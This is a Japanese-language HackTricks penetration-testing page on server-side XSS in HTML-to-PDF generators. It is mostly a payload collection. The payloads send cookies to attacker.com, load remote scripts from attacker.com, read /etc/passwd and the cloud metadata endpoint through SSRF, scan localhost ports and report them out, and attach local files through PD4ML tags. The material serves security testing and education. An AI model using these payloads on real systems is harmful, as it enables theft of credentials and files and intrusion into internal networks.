Server Side XSS (Dynamic PDF)

HackTricksをサポートする

サーバーサイドXSS(動的PDF)

ユーザー制御の入力を使用してPDFを作成しているウェブページがある場合、PDFを作成しているボットをだまして任意のJSコードを実行させることができます。 したがって、PDF作成ボットが何らかのHTML タグを見つけると、それを解釈し、この動作を悪用してサーバーXSSを引き起こすことができます。

<script></script>タグは常に機能するわけではないので、JSを実行するために別の方法が必要です(例えば、<imgを悪用するなど)。 また、通常のエクスプロイトでは、作成されたPDFを見る/ダウンロードすることができるため、JSを介して書いたもの(例えばdocument.write()を使用)をすべて見ることができます。しかし、作成されたPDFを見ることができない場合、情報を抽出するためにウェブリクエストを行う必要がある(ブラインド)かもしれません。

人気のPDF生成

  • wkhtmltopdfは、HTMLとCSSをPDF文書に変換する能力で知られており、WebKitレンダリングエンジンを利用しています。このツールはオープンソースのコマンドラインユーティリティとして利用可能で、幅広いアプリケーションにアクセスできます。

  • TCPDFは、PDF生成のためのPHPエコシステム内で堅牢なソリューションを提供します。画像、グラフィックス、暗号化を処理でき、複雑な文書を作成するための多様性を示しています。

  • Node.js環境で作業している人には、PDFKitが実行可能なオプションを提供します。HTMLとCSSから直接PDF文書を生成でき、ウェブコンテンツと印刷可能なフォーマットの橋渡しをします。

  • Java開発者は、PDF作成を促進するだけでなく、デジタル署名やフォーム入力などの高度な機能もサポートするライブラリiTextを好むかもしれません。その包括的な機能セットは、安全でインタラクティブな文書を生成するのに適しています。

  • FPDFは、シンプルさと使いやすさで際立つ別のPHPライブラリです。広範な機能を必要とせず、PDF生成に対して簡単なアプローチを求める開発者向けに設計されています。

ペイロード

発見

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

このSVGペイロード内で、前述のペイロードのいずれかを使用できます。Burpcollabサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスする別のiframeが例として示されています。

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

他のSVGペイロードhttps://github.com/allanlw/svg-cheatsheetで見つけることができます。

パス開示

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

外部スクリプトを読み込む

この脆弱性を利用する最も適切な方法は、脆弱性を悪用してボットにあなたがローカルで制御するスクリプトを読み込ませることです。そうすれば、ペイロードをローカルで変更し、ボットが毎回同じコードでそれを読み込むようにすることができます。

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

ローカルファイルを読み取る / SSRF

file:///etc/passwdhttp://169.254.169.254/latest/user-dataに変更して、外部ウェブページにアクセスを試みてください (SSRF)

SSRFが許可されているが、興味深いドメインやIPに到達できない場合は、このページを確認してバイパスの可能性を探ってください

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

ボット遅延

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

ポートスキャン

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

この脆弱性は非常に簡単にSSRFに変換できます(スクリプトが外部リソースを読み込むことができるため)。だから、ただこれを悪用してみてください(メタデータを読み取る?)。

Attachments: PD4ML

PDFの添付ファイルを指定することを許可するHTML 2 PDFエンジンがいくつかあります。例えば、PD4MLです。この機能を悪用して、任意のローカルファイルをPDFに添付できます。 添付ファイルを開くために、Firefoxでファイルを開き、クリップシンボルをダブルクリックして添付ファイルを新しいファイルとして保存しました。 burpでPDFレスポンスをキャプチャすることも、PDF内にクリアテキストで添付ファイルを表示するはずです。

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

参考文献

HackTricksをサポートする

Last updated